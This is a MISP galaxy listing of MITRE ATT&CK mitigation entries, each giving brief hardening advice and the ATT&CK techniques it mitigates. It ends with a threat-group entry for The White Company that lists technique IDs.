mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
Links |
User Training - M1017
Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.
The tag is: misp-galaxy:mitre-course-of-action="User Training - M1017"
User Training - M1017 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Two-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Login Item - T1162" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
Links |
Screensaver Mitigation - T1180
Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)
The tag is: misp-galaxy:mitre-course-of-action="Screensaver Mitigation - T1180"
Screensaver Mitigation - T1180 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Screensaver - T1180" with estimative-language:likelihood-probability="almost-certain"
Links |
Rundll32 Mitigation - T1085
Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)
The tag is: misp-galaxy:mitre-course-of-action="Rundll32 Mitigation - T1085"
Rundll32 Mitigation - T1085 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
Links |
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET |
Hypervisor Mitigation - T1062
Prevent adversary access to privileged accounts necessary to install a hypervisor.
The tag is: misp-galaxy:mitre-course-of-action="Hypervisor Mitigation - T1062"
Hypervisor Mitigation - T1062 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Hypervisor - T1062" with estimative-language:likelihood-probability="almost-certain"
Links |
DCShadow Mitigation - T1207
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.
The tag is: misp-galaxy:mitre-course-of-action="DCShadow Mitigation - T1207"
DCShadow Mitigation - T1207 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="DCShadow - T1207" with estimative-language:likelihood-probability="almost-certain"
Links |
Password Policies - M1027
Set and enforce secure password policies for accounts.
The tag is: misp-galaxy:mitre-course-of-action="Password Policies - M1027"
Password Policies - M1027 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1142" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"
Links |
Kerberoasting Mitigation - T1208
Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)
Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)
Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)
The tag is: misp-galaxy:mitre-course-of-action="Kerberoasting Mitigation - T1208"
Kerberoasting Mitigation - T1208 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
Links |
Data Backup - M1053
Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.
The tag is: misp-galaxy:mitre-course-of-action="Data Backup - M1053"
Data Backup - M1053 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Defacement - T1491" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
Links |
Masquerading Mitigation - T1036
When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\Windows\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.
Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Masquerading Mitigation - T1036"
Masquerading Mitigation - T1036 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Execution Prevention - M1038
Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.
The tag is: misp-galaxy:mitre-course-of-action="Execution Prevention - M1038"
Execution Prevention - M1038 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities - T1127" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Signed Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Screensaver - T1180" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="InstallUtil - T1118" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1514" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
Links |
Software Configuration - M1054
Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.
The tag is: misp-galaxy:mitre-course-of-action="Software Configuration - M1054"
Software Configuration - M1054 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Unused/Unsupported Cloud Regions - T1535" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1506" with estimative-language:likelihood-probability="almost-certain"
Links |
Code Signing - M1045
Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.
The tag is: misp-galaxy:mitre-course-of-action="Code Signing - M1045"
Code Signing - M1045 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="AppleScript - T1155" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="LC_MAIN Hijacking - T1149" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Implant Container Image - T1525" with estimative-language:likelihood-probability="almost-certain"
Links |
Boot Integrity - M1046
Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.
The tag is: misp-galaxy:mitre-course-of-action="Boot Integrity - M1046"
Boot Integrity - M1046 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
Links |
Scripting Mitigation - T1064
Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.
Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
The tag is: misp-galaxy:mitre-course-of-action="Scripting Mitigation - T1064"
Scripting Mitigation - T1064 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
Links |
Bootkit Mitigation - T1067
Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)
The tag is: misp-galaxy:mitre-course-of-action="Bootkit Mitigation - T1067"
Bootkit Mitigation - T1067 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf |
PowerShell Mitigation - T1086
It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.
The tag is: misp-galaxy:mitre-course-of-action="PowerShell Mitigation - T1086"
PowerShell Mitigation - T1086 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ |
Timestomp Mitigation - T1099
Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Timestomp Mitigation - T1099"
Timestomp Mitigation - T1099 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Regsvr32 Mitigation - T1117
Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)
The tag is: misp-galaxy:mitre-course-of-action="Regsvr32 Mitigation - T1117"
Regsvr32 Mitigation - T1117 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
Links |
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET |
InstallUtil Mitigation - T1118
InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.
The tag is: misp-galaxy:mitre-course-of-action="InstallUtil Mitigation - T1118"
InstallUtil Mitigation - T1118 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="InstallUtil - T1118" with estimative-language:likelihood-probability="almost-certain"
Links |
CMSTP Mitigation - T1191
CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)
The tag is: misp-galaxy:mitre-course-of-action="CMSTP Mitigation - T1191"
CMSTP Mitigation - T1191 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"
Links |
Keychain Mitigation - T1142
The password for the user’s login keychain can be changed from the user’s login password. This increases the complexity for an adversary because they need to know an additional password.
The tag is: misp-galaxy:mitre-course-of-action="Keychain Mitigation - T1142"
Keychain Mitigation - T1142 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1142" with estimative-language:likelihood-probability="almost-certain"
Links |
Launchctl Mitigation - T1152
Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.
The tag is: misp-galaxy:mitre-course-of-action="Launchctl Mitigation - T1152"
Launchctl Mitigation - T1152 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Launchctl - T1152" with estimative-language:likelihood-probability="almost-certain"
Links |
Source Mitigation - T1153
Due to potential legitimate uses of source commands, it’s may be difficult to mitigate use of this technique.
The tag is: misp-galaxy:mitre-course-of-action="Source Mitigation - T1153"
Source Mitigation - T1153 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Source - T1153" with estimative-language:likelihood-probability="almost-certain"
Links |
Trap Mitigation - T1154
Due to potential legitimate uses of trap commands, it’s may be difficult to mitigate use of this technique.
The tag is: misp-galaxy:mitre-course-of-action="Trap Mitigation - T1154"
Trap Mitigation - T1154 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Trap - T1154" with estimative-language:likelihood-probability="almost-certain"
Links |
HISTCONTROL Mitigation - T1148
Prevent users from changing the <code>HISTCONTROL</code> environment variable (Citation: Securing bash history). Also, make sure that the <code>HISTCONTROL</code> environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.
The tag is: misp-galaxy:mitre-course-of-action="HISTCONTROL Mitigation - T1148"
HISTCONTROL Mitigation - T1148 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148" with estimative-language:likelihood-probability="almost-certain"
Links |
AppleScript Mitigation - T1155
Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.
The tag is: misp-galaxy:mitre-course-of-action="AppleScript Mitigation - T1155"
AppleScript Mitigation - T1155 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="AppleScript - T1155" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/ |
Sudo Mitigation - T1169
The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.
The tag is: misp-galaxy:mitre-course-of-action="Sudo Mitigation - T1169"
Sudo Mitigation - T1169 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Sudo - T1169" with estimative-language:likelihood-probability="almost-certain"
Links |
Hooking Mitigation - T1179
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
The tag is: misp-galaxy:mitre-course-of-action="Hooking Mitigation - T1179"
Hooking Mitigation - T1179 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
Links |
Antivirus/Antimalware - M1049
Use signatures or heuristics to detect malicious software.
The tag is: misp-galaxy:mitre-course-of-action="Antivirus/Antimalware - M1049"
Antivirus/Antimalware - M1049 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
Links |
Attestation - M1002
Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.
The tag is: misp-galaxy:mitre-course-of-action="Attestation - M1002"
Attestation - M1002 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398" with estimative-language:likelihood-probability="almost-certain"
Links |
Audit - M1047
Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.
The tag is: misp-galaxy:mitre-course-of-action="Audit - M1047"
Audit - M1047 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Implant Container Image - T1525" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
Links |
Intrusion Set
Name of ATT&CK Group.
Intrusion Set is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
The White Company - G0089
[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)
The tag is: misp-galaxy:mitre-intrusion-set="The White Company - G0089"
The White Company - G0089 is also known as:
-
The White Company
The White Company - G0089 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
